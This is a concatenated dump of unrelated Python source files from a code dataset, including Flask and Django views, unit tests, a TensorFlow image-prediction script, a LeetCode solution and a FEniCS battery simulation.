self.switchport_cabling = \"unknown\"\n self.switchport_found_mac = \"unknown\"\n self.switchport_macs = []\n\n\n def print_device_axl(self):\n print(\"{}, {}, {}, {}, {}\".format(self.name, self.description, self.extension, self.alerting_name, self.device_type))\n\n def print_device_ris(self):\n print(\"{}, {}, {}, {}, {}, {}, {}\".format(self.name, self.description, self.extension, self.alerting_name, \\\n self.device_type, self.status, self.timestamp))\n def print_device_full(self):\n print(\"{}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}\".format(self.name, self.description, self.extension, self.alerting_name,\n self.device_type, self.status, self.timestamp,\n self.responsible_person, self.outlet_id, self.outlet_status, self.outlet_usedFor, \\\n self.switchport))\n\n def print_device_full_net(self):\n print(\"{}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}\".format(self.name, self.description, self.extension, self.alerting_name, \\\n self.device_type, self.status, self.timestamp, \\\n self.responsible_person, self.outlet_id, self.outlet_status, self.outlet_usedFor, \\\n self.switchport, self.switchport_status, self.switchport_power_status,\n self.switchport_cabling, self.switchport_found_mac, self.switchport_macs))\n\n","sub_path":"modules/cucm_classes.py","file_name":"cucm_classes.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"496564603","text":"import unittest\n\nimport numpy as np\nimport torch\n\nfrom crf.pairwise import BilateralPairwise as NpBl\nfrom crf.pairwise import SpatialPairwise as NpSp\nfrom pytorch_permuto.filters import BilateralFilter as TorchBl\nfrom pytorch_permuto.filters import SpatialFilter as TorchSp\n\n\nclass TestPairwiseFeatureCalc(unittest.TestCase):\n def setUp(self) -> None:\n h, w = 10, 20\n self.image = np.random.randn(h, w, 3).astype(np.float32)\n self.image_t = torch.from_numpy(np.transpose(self.image, (2, 0, 1)))\n\n def test_spatial_feature_calc(self):\n gamma = 5\n npsp = NpSp(self.image, sx=gamma, sy=gamma)\n a = npsp.features\n\n torchsp = TorchSp(self.image_t, gamma)\n b = torchsp.features.numpy()\n\n self.assertAlmostEqual(np.max(np.abs(a - b)), 0)\n np.testing.assert_allclose(a, b)\n\n def test_bilateral_feature_calc(self):\n alpha, beta = 3., 4.\n npbl = NpBl(self.image, sx=alpha, sy=alpha, sr=beta, sg=beta, sb=beta)\n a = npbl.features\n\n torchbl = TorchBl(self.image_t, alpha, beta)\n b = torchbl.features.numpy()\n\n self.assertAlmostEqual(np.max(np.abs(a - b)), 0)\n np.testing.assert_allclose(a, b)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"pytorch_permuto/pytorch_permuto/unit_tests/test_pairwise_feature_calc.py","file_name":"test_pairwise_feature_calc.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"64011466","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\ntests.py\n\n\"\"\"\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.ext import testbed\nfrom json import loads\nfrom unittest import TestCase\nfrom mail_safe_test import app\nfrom mail_safe_test.auth import UserModel\nfrom mail_safe_test.resources.doc import DocList, Doc, DocModel\n\ndef common_setUp(self):\n # Flask apps testing. See: http://flask.pocoo.org/docs/testing/\n app.config['TESTING'] = True\n app.config['CSRF_ENABLED'] = False\n self.app = app.test_client()\n # Setup app engine test bed. See: http://code.google.com/appengine/docs/python/tools/localunittesting.html#Introducing_the_Python_Testing_Utilities\n self.testbed = testbed.Testbed()\n self.testbed.activate()\n self.testbed.init_datastore_v3_stub()\n self.testbed.init_user_stub()\n self.testbed.init_memcache_stub()\n\nclass AuthUserDocTestCases(TestCase):\n\n def setUp(self):\n common_setUp(self)\n\n AuthUserDocTestCases.user_id = '111111111111111111111'\n AuthUserDocTestCases.user_token = \"valid_user\"\n\n # Provision a valid user\n args = {\"id\": AuthUserDocTestCases.user_id,\n \"first_name\": \"Testy\",\n \"last_name\": \"McTest\",\n \"email\": \"test@example.com\" }\n user = UserModel(**args)\n user.put()\n\n def tearDown(self):\n self.testbed.deactivate()\n\n def test_doc_none_put(self):\n rv = self.app.put('/doc/25/',\n data='{\"content\": \"This is my revised testing document.\"}')\n self.assertEqual(404, rv.status_code)\n\n def test_doc_id_none_get(self):\n rv = self.app.get('/doc/25/')\n self.assertEqual(404, rv.status_code)\n\n def test_doc_id_none_delete(self):\n rv = self.app.delete('/doc/25/')\n self.assertEqual(404, rv.status_code)\n","sub_path":"tests/test_doc.py","file_name":"test_doc.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"291624181","text":"import os\nfrom .lib.connection import Connection\nfrom .lib.parser import Parser\nfrom .lib.data.database import Sqlite3DataBase\nfrom .lib.data.entities import (\n Book, BookIdentityMap, BookMapper\n)\nfrom .lib.file_writer import FileWriter\n\n\nclass Model:\n __slots__ = (\n 'connection', 'parser', 'database',\n 'entity', 'identity_map', 'mapper',\n 'file_writer', '_observers', 'counter')\n\n def __init__(self, proxy, name):\n self.connection = Connection(proxy)\n self.parser = Parser(self.connection)\n self.database = Sqlite3DataBase(name)\n self.entity = Book\n self.identity_map = BookIdentityMap\n self.mapper = BookMapper()\n self.file_writer = FileWriter()\n self._observers = []\n self.counter = 0\n self.setup_database()\n self.setup_mapper()\n\n def read_database(self):\n data = self.mapper.select_all()\n self.counter = len(data)\n for el in data:\n self.identity_map.add_book(el)\n self.notify_observers()\n\n def setup_database(self):\n if not os.path.isfile(\"library.db\"):\n self.database.create_db()\n self.database.connect()\n\n def setup_mapper(self):\n con = self.database.con\n cur = self.database.cur\n self.mapper.connect(con, cur)\n\n def add_observer(self, observer):\n self._observers.append(observer)\n\n def remove_observer(self, observer):\n self._observers.remove(observer)\n\n def notify_observers(self):\n for observer in self._observers:\n observer.model_is_changed()\n\n def increment_counter(self):\n self.counter += 1\n","sub_path":"app_mvc/model/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"285587399","text":"from django.http import HttpResponse, JsonResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views import View\n\nfrom utils.decorators import login_required_ajax\nfrom utils.util import ParseType, parse_params\n\nfrom apps.subject.models import Department\nfrom apps.session.services import get_user_department_list\nfrom .models import (\n FamousMajorReviewDailyFeed,\n FamousHumanityReviewDailyFeed,\n RankedReviewDailyFeed,\n ReviewWriteDailyUserFeed,\n RelatedCourseDailyUserFeed,\n RateDailyUserFeed,\n)\n\n\n@method_decorator(login_required_ajax, name=\"dispatch\")\nclass UserInstanceFeedsView(View):\n def get(self, request, user_id):\n PARAMS_STRUCTURE = [\n (\"date\", ParseType.STR, True, []),\n ]\n\n date, = parse_params(request.GET, PARAMS_STRUCTURE)\n\n userprofile = request.user.userprofile\n if userprofile.id != int(user_id):\n return HttpResponse(status=401)\n\n department_codes = [\n d[\"code\"]\n for d in get_user_department_list(request.user)\n if d[\"code\"] != \"Basic\"\n ]\n departments = Department.objects.filter(code__in=department_codes, visible=True)\n famous_major_review_daily_feed_list = [\n FamousMajorReviewDailyFeed.get(date=date,\n department=d,\n departments_num=departments.count())\n for d in departments\n ]\n\n famous_humanity_review_daily_feed = FamousHumanityReviewDailyFeed.get(date=date)\n\n ranked_review_daily_feed = RankedReviewDailyFeed.get(date=date)\n\n review_write_daily_user_feed = ReviewWriteDailyUserFeed.get(date=date, user=userprofile)\n\n related_course_daily_user_feed = RelatedCourseDailyUserFeed.get(date=date, user=userprofile)\n\n rate_daily_user_feed = RateDailyUserFeed.get(date=date, user=userprofile)\n\n feeds = (\n famous_major_review_daily_feed_list\n + [famous_humanity_review_daily_feed]\n + [ranked_review_daily_feed]\n + [review_write_daily_user_feed]\n + [related_course_daily_user_feed]\n + [rate_daily_user_feed]\n )\n feeds = [f for f in feeds if f is not None]\n feeds = sorted(feeds, key=(lambda f: f.priority))\n result = [f.to_json(user=request.user) for f in feeds]\n return JsonResponse(result, safe=False)\n","sub_path":"apps/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"69918948","text":"class Stroka(str):\n\tdef __neg__(self):\n\t\treturn self[-1::-1]\n\tdef __mul__(self,other):\n\t\tif type(other) == type(123):\n\t\t\treturn str.__mul__(self,other)\n\t\tans = Stroka()\n\t\tfor elem1 in self:\n\t\t\tfor elem2 in other:\n\t\t\t\tans += elem1\n\t\t\t\tans += elem2\n\t\tans = Stroka(ans)\n\t\treturn ans\n\tdef __pow__(self,other):\n\t\ttmp = self\n\t\tfor n in range(other-1):\n\t\t\ttmp = tmp*self\n\t\treturn tmp\n","sub_path":"Kurs 3/python3/MegaStroka.py","file_name":"MegaStroka.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"517456206","text":"\"\"\"\nWrite a Python program to solve (x + y) * (x + y).\nTest Data : x = 4, y = 3\nExpected Output : (4 + 3) ^ 2) = 49\n\"\"\"\nx = int(input(\"x = \"))\ny = int(input(\"y = \"))\nadd = int(x+y)\nsq = str(add**2)\nprint(sq)","sub_path":"AnuOyeboade/phase1/BASIC/DAY5/Q38.py","file_name":"Q38.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"103579500","text":"\nsoubor_odkud = input('Zadej jmeno souboru, ktery chces kopirovat: ')\nsoubor_kam = input('Zadej nazev souboru, do ktereho chces zkopirovat obsah'\n ' puvodniho souboru: ')\ntry:\n with open(soubor_odkud, encoding='utf-8') as puvodni_soubor:\n precteny_obsah = puvodni_soubor.read()\n with open(soubor_kam, mode='w', encoding='utf-8') as novy_soubor:\n novy_soubor.write(precteny_obsah)\nexcept FileNotFoundError:\n print('Neexistujici soubor, zadej nazev existujiciho souboru.')\nelse:\n\n print('Puvodni soubor byl zkopirovan do noveho.')\n","sub_path":"06/Ukol3/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"303417893","text":"from sklearn.model_selection import cross_validate\r\nfrom pandas import DataFrame\r\nimport numpy as np\r\nimport hickle as hkl\r\nimport pandas as pd\r\n\r\npd.set_option(\"display.width\", 300)\r\npd.set_option(\"display.max_columns\", 20)\r\n\r\n\r\nclass AccuracyTracker:\r\n def __init__(self, test_features: DataFrame, test_labels: DataFrame):\r\n self.scoring = [\"accuracy\", \"balanced_accuracy\", \"f1_weighted\"] # Type of accuracies we want\r\n self.test_features = test_features # Features for the test set\r\n self.test_labels = test_labels # Labels for the test set\r\n self.scores = {'total_accuracy': []} # Collecting the scores\r\n self.index = [] # Names for classifiers\r\n self.total_accuracy = 0 # For incrementing accuracy\r\n self.df_scores = DataFrame # For displaying scores\r\n\r\n def add_score(self, name, classifier):\r\n self.index.append(name)\r\n cv_result = cross_validate( # Iterating over 10 pieces of data to find best score\r\n estimator=classifier, X=self.test_features, y=self.test_labels, scoring=self.scoring,\r\n verbose=1, n_jobs=1, cv=10)\r\n\r\n for _, element in enumerate(cv_result): # element is column name\r\n if element not in self.scores: # Add new column if it does not exist\r\n self.scores[element] = [] # Creates new column with that name\r\n if \"test\" in element: # 'test' is included in accuracy scores\r\n self.scores[element].append(\"{:.2f} %\".format(cv_result[element].mean() * 100))\r\n self.total_accuracy += cv_result[element].mean() * 100\r\n elif \"time\" in element: # 'time' is included in the time measures\r\n self.scores[element].append(\"{:.0f} ms\".format(cv_result[element].mean() * 1000))\r\n self.scores['total_accuracy'].append(\"{:.2f}\".format(self.total_accuracy))\r\n self.total_accuracy = 0 # Resetting the score, because all use same instance\r\n\r\n def display_scores(self):\r\n self.df_scores = pd.DataFrame(self.scores, index=self.index) # CREATE DATAFRAME\r\n self.df_scores = self.df_scores.sort_values(by=['total_accuracy'], ascending=False)\r\n print(\"@@ Accuracy Scores @@ \\n {}\".format(self.df_scores))\r\n\r\n def get_score(self):\r\n self.df_scores = pd.DataFrame(self.scores, index=self.index) # CREATE DATAFRAME\r\n self.df_scores = self.df_scores.sort_values(by=['total_accuracy'], ascending=False)\r\n return self.df_scores\r\n","sub_path":"LinkArkitektur.Classification/utilities/accuracy_score_tracker.py","file_name":"accuracy_score_tracker.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"421997420","text":"#\r\n# @lc app=leetcode id=448 lang=python3\r\n#\r\n# [448] Find All Numbers Disappeared in an Array\r\n#\r\n# https://leetcode.com/problems/find-all-numbers-disappeared-in-an-array/description/\r\n#\r\n# algorithms\r\n# Easy (53.69%)\r\n# Likes: 1705\r\n# Dislikes: 163\r\n# Total Accepted: 161.1K\r\n# Total Submissions: 300K\r\n# Testcase Example: '[4,3,2,7,8,2,3,1]'\r\n#\r\n# Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some\r\n# elements appear twice and others appear once.\r\n#\r\n# Find all the elements of [1, n] inclusive that do not appear in this array.\r\n#\r\n# Could you do it without extra space and in O(n) runtime? You may assume the\r\n# returned list does not count as extra space.\r\n#\r\n# Example:\r\n#\r\n# Input:\r\n# [4,3,2,7,8,2,3,1]\r\n#\r\n# Output:\r\n# [5,6]\r\n#\r\n#\r\n#\r\nclass Solution:\r\n def findDisappearedNumbers(self, nums):\r\n # As the range of elements is 1~n, just place each element to its right index place, then the answer is the elements whose value != its index\r\n i = 0\r\n while i < len(nums):\r\n while nums[i] != nums[nums[i] - 1]:\r\n v = nums[i]\r\n nums[i], nums[v - 1] = nums[v - 1], v\r\n i += 1\r\n res = []\r\n for i in range(len(nums)):\r\n if nums[i] != i + 1:\r\n res.append(i + 1)\r\n return res\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(Solution().findDisappearedNumbers([4, 3, 2, 7, 8, 2, 3, 1]))\r\n","sub_path":"Easy/448.find-all-numbers-disappeared-in-an-array.py","file_name":"448.find-all-numbers-disappeared-in-an-array.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"401240752","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.models import User\nfrom loginpage.models import Group, Assignment, UserPic\nfrom viewgroups.forms import UserGroupForm, AssignmentForm\nfrom django.contrib import messages\n\n@login_required(login_url='/accounts/login')\ndef assignPageView(request, groupID) :\n #displays only the assignments of the specific group, and orders the assignments by date from closest to furthest\n assign_filterList = Assignment.objects.filter(group_id = groupID).order_by('-assign_duedate')\n group = Group.objects.get(id = groupID)\n\n context = {\n 'assign_list': assign_filterList,\n 'group': group\n }\n\n return render(request, 'classes/viewassignments.html', context)\n\n\n#takes you to the edit Assignments page, filters by the selected Assignment.\n@login_required(login_url='/accounts/login')\ndef editAssignPageView(request, assignID = None, groupID = None) :\n #loggedInUser = User.objects.filter(username = request.user)\n parameter = None\n #are we posting data?\n if request.method == 'POST':\n \n #Is there an assignment parameter and group parameter? IE you are either editing an existing record, or deleting a record\n if assignID and groupID:\n parameter = Assignment.objects.get(id=assignID)\n #if we are deleting the record\n if request.POST.get('delete'):\n parameter.delete()\n \n else:\n #otherwise save the form with the data passed (edit)\n form = AssignmentForm(request.POST, instance = parameter) \n #if an incorrect date is entered, the system will skip the assignment and reroute you back to the assigments page\n try: form.save()\n except ValueError : \n pass\n return HttpResponseRedirect(f'/viewassignments/{groupID}/')\n \n return HttpResponseRedirect(f'/viewassignments/{groupID}/')\n #New groups being created will follow this path because they don't leave edit page view with an assignment ID\n else:\n form = AssignmentForm(request.POST)\n #if an incorrect date is entered, the system will skip the assignment and reroute you back to the assigments page\n try: form.save()\n except ValueError : \n pass\n return HttpResponseRedirect(f'/viewassignments/{groupID}/')\n else:\n if assignID:\n parameter = Assignment.objects.get(id = assignID)\n #creates form and loads in the info from the parameter so you can see what you are editing --- only activates when there is an assignID being passed\n form = AssignmentForm(instance = parameter, initial={'group': groupID})\n\n else: \n #generates a blank form when you are creating a new Assignment -- only activates when NO assignID is being passed (when we are making a new assignment)\n parameter = Group.objects.get(id=groupID)\n form = AssignmentForm(initial={'group': groupID})\n \n #sends generated form and parameter (if there is one) to webpage\n context = {\n 'assignID': assignID,\n 'groupID':groupID,\n 'form': form, \n 'parameter': parameter\n }\n\n return render(request, 'classes/editassignment.html', context)","sub_path":"viewclasses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"106425439","text":"import tensorflow as tf\nfrom PIL import Image\nimport tensorflow_hub as hub\nimport argparse\nimport numpy as np\nimport json\n\nIMG_SIZE = 224\nIMG_SHAPE = (IMG_SIZE, IMG_SIZE, 3)\n\ndef get_class_names(json_file):\n with open(json_file, 'r') as f:\n class_names = json.load(f)\n class_names_new = dict()\n for key in class_names:\n class_names_new[str(int(key)-1)] = class_names[key]\n return class_names_new\n\n\ndef load_model(model_path):\n model = tf.keras.models.load_model(model_path, custom_objects={'KerasLayer':hub.KerasLayer})\n print(model.summary())\n return model\n\ndef process_image(numpy_image):\n print(numpy_image.shape)\n tensor_img = tf.image.convert_image_dtype(numpy_image, dtype=tf.int16, saturate=False)\n resized_img = tf.image.resize(numpy_image,(IMG_SIZE,IMG_SIZE)).numpy()\n norm_img = resized_img/255\n return norm_img\n\ndef predict(image_path, model_path, top_k, all_class_names):\n top_k = int(top_k)\n print(top_k, type(top_k))\n model = load_model(model_path)\n\n img = Image.open(image_path)\n test_image = np.asarray(img)\n\n # processing the image\n processed_test_image = process_image(test_image)\n\n # fetching prediction probabilities\n prob_preds = model.predict(np.expand_dims(processed_test_image, axis=0))\n prob_preds = prob_preds[0].tolist()\n\n # top 1 prediction\n top_pred_class_id = model.predict_classes(np.expand_dims(processed_test_image, axis=0))\n top_pred_class_prob = prob_preds[top_pred_class_id[0]]\n pred_class = all_class_names[str(top_pred_class_id[0])]\n print(\"\\n\\nMost likely class image and it's probability :\\n\", \"class_id :\", top_pred_class_id, \"class_name :\",\n pred_class, \"; class_probability :\", top_pred_class_prob)\n\n values, indices = tf.math.top_k(prob_preds, k=top_k)\n probs_topk = values.numpy().tolist() # [0]\n classes_topk = indices.numpy().tolist() # [0]\n print(\"top k probs:\", probs_topk)\n print(\"top k classes:\", classes_topk)\n class_labels = [all_class_names[str(i)] for i in classes_topk]\n print('top k class labels:', class_labels)\n class_prob_dict = dict(zip(class_labels, probs_topk))\n print(\"\\nTop K classes along with associated probabilities :\\n\", class_prob_dict)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Description for my parser\")\n parser.add_argument(\"image_path\", help=\"Image Path\", default=\"\")\n parser.add_argument(\"--saved_model\", help=\"Model Path\", default=\".\\\\train_model\\\\my_model.h5\",required=False)\n parser.add_argument(\"--top_k\", help=\"Fetch top k predictions\", required=False, default=5)\n parser.add_argument(\"--category_names\", help=\"Class map json file\", required=False, default=\"label_map.json\")\n args = parser.parse_args()\n\n all_class_names = get_class_names(args.category_names)\n # print(\"Displaying class names:\\n\",all_class_names)\n\n predict(args.image_path, args.saved_model, args.top_k, all_class_names)\n# probs, classes, top_class_id, top_class_prob = predict(args.image_path, args.saved_model, args.top_k, all_class_names)","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"222828640","text":"import sys\n\nimport dolfin as fem\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom buildup import common, utilities\nfrom mtnlion.newman import equations\n\n\ndef run(time, return_comsol=False, form=\"equation\"):\n cmn, domain, comsol = common.prepare_comsol_buildup()\n\n j_sol = utilities.create_solution_matrices(len(time), len(comsol.mesh), 1)[0]\n phis_c, phie_c, cse_c, ce_c, sol = utilities.create_functions(domain.V, 5)\n\n comsol_phis = utilities.interp_time(comsol.time_mesh, comsol.data.phis)\n comsol_phie = utilities.interp_time(comsol.time_mesh, comsol.data.phie)\n comsol_cse = utilities.interp_time(comsol.time_mesh, comsol.data.cse)\n comsol_ce = utilities.interp_time(comsol.time_mesh, comsol.data.ce)\n\n u = fem.TrialFunction(domain.V)\n v = fem.TestFunction(domain.V)\n\n if form == \"equation\":\n Uocp = equations.Uocp(cse_c, **cmn.fenics_params)\n elif form == \"interp\":\n Uocp = equations.Uocp_interp(\n cmn.Uocp_spline.Uocp_neg, cmn.Uocp_spline.Uocp_pos, cse_c, cmn.fenics_params.csmax, utilities\n )\n else:\n return\n\n jbar = equations.j(ce_c, cse_c, phie_c, phis_c, Uocp, **cmn.fenics_params, **cmn.fenics_consts)\n\n a = fem.dot(u, v) * domain.dx((0, 2))\n L = jbar * v * domain.dx((0, 2))\n\n for k, t in enumerate(time):\n utilities.assign_functions(\n [comsol_phis(t), comsol_phie(t), comsol_cse(t), comsol_ce(t)],\n [phis_c, phie_c, cse_c, ce_c],\n domain.V,\n Ellipsis,\n )\n\n fem.solve(a == L, sol)\n j_sol[k, :] = utilities.get_1d(fem.interpolate(sol, domain.V), domain.V)\n\n if return_comsol:\n return utilities.interp_time(time, j_sol), comsol\n else:\n return utilities.interp_time(time, j_sol)\n\n\ndef main(time=None, plot_time=None, get_test_stats=False):\n # Quiet\n fem.set_log_level(fem.LogLevel.ERROR)\n\n # Times at which to run solver\n if time is None:\n time = np.arange(0, 50, 5)\n if plot_time is None:\n plot_time = time\n\n j_sol, comsol = run(time, return_comsol=True, form=\"interp\")\n comsol_j = utilities.interp_time(comsol.time_mesh, comsol.data.j)\n\n if not get_test_stats:\n utilities.report(\n comsol.mesh[comsol.neg_ind],\n time,\n j_sol(plot_time)[:, comsol.neg_ind],\n comsol_j(plot_time)[:, comsol.neg_ind],\n \"$j_{neg}$\",\n )\n utilities.save_plot(__file__, \"plots/compare_j_neg.png\")\n plt.show()\n utilities.report(\n comsol.mesh[comsol.pos_ind],\n time,\n j_sol(plot_time)[:, comsol.pos_ind],\n comsol_j(plot_time)[:, comsol.pos_ind],\n \"$j_{pos}$\",\n )\n utilities.save_plot(__file__, \"plots/comsol_compare_j_pos.png\")\n\n plt.show()\n else:\n data = utilities.generate_test_stats(time, comsol, j_sol, comsol_j)\n\n # Separator info is garbage:\n for d in data:\n d[1, ...] = 0\n\n return data\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"buildup/fenics_/phase1/j.py","file_name":"j.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"432822025","text":"thePhrase = \"walter murray\"\n\ndef reverseMe(somePhrase):\n '''Returns the reversed version of the string passed in.\n\n somePhrase -> string\n\n ex. reverseMe(\"happy\") -> \"yppah\"\n reverseMe(\"walter murray\") -> \"yarrum retlaw\"'''\n\n newString = \"\"\n counter = len(somePhrase) - 1\n while (counter >= 0 ):\n newString = newString + somePhrase[counter]\n counter = counter - 1\n return newString\n\nprint( reverseMe(\"happy\") )","sub_path":"reverseMeWhileLoopVersion.py","file_name":"reverseMeWhileLoopVersion.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"406038045","text":"# -*- coding: utf-8 -*- #\n# Copyright 2014 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Command for describing the project.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.compute import base_classes\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.projects import util\nfrom googlecloudsdk.core import properties\n\n\nclass Describe(base.DescribeCommand):\n \"\"\"Describe the Google Compute Engine project resource.\"\"\"\n\n def Run(self, args):\n holder = base_classes.ComputeApiHolder(self.ReleaseTrack())\n client = holder.client\n\n project_ref = util.ParseProject(properties.VALUES.core.project.GetOrFail())\n\n return client.MakeRequests([(client.apitools_client.projects, 'Get',\n client.messages.ComputeProjectsGetRequest(\n project=project_ref.projectId))])[0]\n\n\nDescribe.detailed_help = {\n 'brief': 'Describe the Google Compute Engine project resource',\n 'DESCRIPTION': \"\"\"\\\n *{command}* displays all data associated with the Google\n Compute Engine project resource. The project resource contains\n data such as global quotas, common instance metadata, and the\n project's creation time.\n \"\"\",\n}\n","sub_path":"google-cloud-sdk/lib/surface/compute/project_info/describe.py","file_name":"describe.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"508430315","text":"from flask import Blueprint, Flask, redirect, render_template, request\n\nfrom models.player import Player\nimport repositories.player_repository as player_repository\nimport repositories.team_repository as team_repository\n\n\nplayers_blueprint = Blueprint(\"players\", __name__)\n\n# INDEX\n@players_blueprint.route(\"/clubs/players\")\ndef players():\n players = player_repository.select_all()\n teams = team_repository.select_all()\n return render_template(\"clubs/players/index.html\", players=players, teams=teams)\n\n\n# NEW\n# GET '/clubs/players/new' --> show an html form to create a new player\n@players_blueprint.route(\"/clubs/players/new\")\ndef new_player():\n teams = team_repository.select_all()\n return render_template(\"clubs/players/new.html\", teams=teams)\n\n\n# CREATE\n# POST '/clubs/players' --> handle the post from the new form\n@players_blueprint.route(\"/clubs/players\", methods=[\"POST\"])\ndef create_player():\n name = request.form[\"name\"]\n player_info = request.form[\"player_info\"]\n goals_scored = request.form[\"goals_scored\"]\n new_player = Player(name, player_info, goals_scored)\n player_repository.save(new_player)\n return redirect(\"/clubs/players\")\n\n\n# SHOW\n# GET '/clubs/players/' --> show some html for a specific player\n@players_blueprint.route(\"/clubs/players/\")\ndef show_team(id):\n player = player_repository.select(id)\n teams = team_repository.select_all()\n return render_template(\"clubs/players/show.html\", player=player, teams=teams)\n\n# EDIT\n# GET '/clubs/players//edit' --> show some html form to edit a specific player\n@players_blueprint.route(\"/clubs/players//edit\")\ndef edit_player(id):\n player = player_repository.select(id)\n teams = team_repository.select_all()\n return render_template('clubs/players/edit.html', player=player, teams=teams)\n\n\n# UPDATE\n# PUT '/clubs/players/' --> handle the PUT from the edit form\n@players_blueprint.route(\"/clubs/players/\", methods=[\"POST\"])\ndef update_player(id):\n name = request.form[\"name\"]\n player_info = request.form[\"player_info\"]\n goals_scored = request.form[\"goals_scored\"]\n player = Player(name, player_info, goals_scored, id)\n player_repository.update(player)\n return redirect(\"/clubs/players\")\n\n\n# DELETE\n# DELETE '/clubs/players/' --> handle the delete - to delete a specific task we can't use HTTP DELETE as HTML forms don'tdo DELETE\n@players_blueprint.route(\"/clubs/players//delete\", methods=[\"POST\"])\ndef delete_player(id):\n player_repository.delete(id)\n return redirect(\"/clubs/players\")","sub_path":"controllers/players_controller.py","file_name":"players_controller.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"266583154","text":"from numpy import *\r\nx1 = -2\r\nx2 = 3\r\nw1 = mat([[1, 4], [2, 5], [3, 6]])\r\nw2 = mat([7, 8, 9])\r\nx = mat([[-2, ], [3, ]])\r\nydk = 200\r\nepsilon = 0.0005\r\nn = 0\r\nwhile n < 3:\r\n yj = w1*x\r\n yk = w2*yj\r\n fin = ydk-yk\r\n fin = array(fin)[0][0]\r\n Deltawjk1 = array(yj)*epsilon*fin\r\n Deltawjk2 = Deltawjk1 + array(w2).T\r\n w2 = array(w2).T * array(x).T\r\n Deltawij = epsilon*fin*w2\r\n Deltawij = Deltawij+w1\r\n w1 = mat(Deltawij)\r\n\r\n w2 = mat(Deltawjk2).T\r\n\r\n\r\n n = n+1\r\n print(\"This is the\", n)\r\n print(\"yj=\", yj)\r\n print(\"w2=\", w2)\r\n print(\"x=\", x)\r\n print(\"Deltawjk1=\", Deltawjk1)\r\n print(\"Deltawjk2=\", Deltawjk2)\r\n print(\"Deltawij=\", Deltawij)\r\n print(\"fin=\", fin)\r\n if (n < 3):\r\n print(\"The next circle\")\r\n else:\r\n print(\"This is end\")\r\n\r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"115685716","text":"import pytest\nimport json\n\nimport shakedown\n\nimport sdk_install as install\nimport sdk_plan as plan\nimport sdk_utils as utils\n\nfrom tests.config import (\n PACKAGE_NAME,\n check_running\n\n)\n\n\ndef setup_module(module):\n install.uninstall(PACKAGE_NAME)\n utils.gc_frameworks()\n options = {\n \"service\": {\n \"spec_file\": \"examples/overlay_ports.yml\"\n }\n }\n\n install.install(PACKAGE_NAME, 1, additional_options=options)\n\n\ndef teardown_module(module):\n install.uninstall(PACKAGE_NAME)\n\n\n@pytest.mark.sanity\n@pytest.mark.overlay\ndef test_install():\n 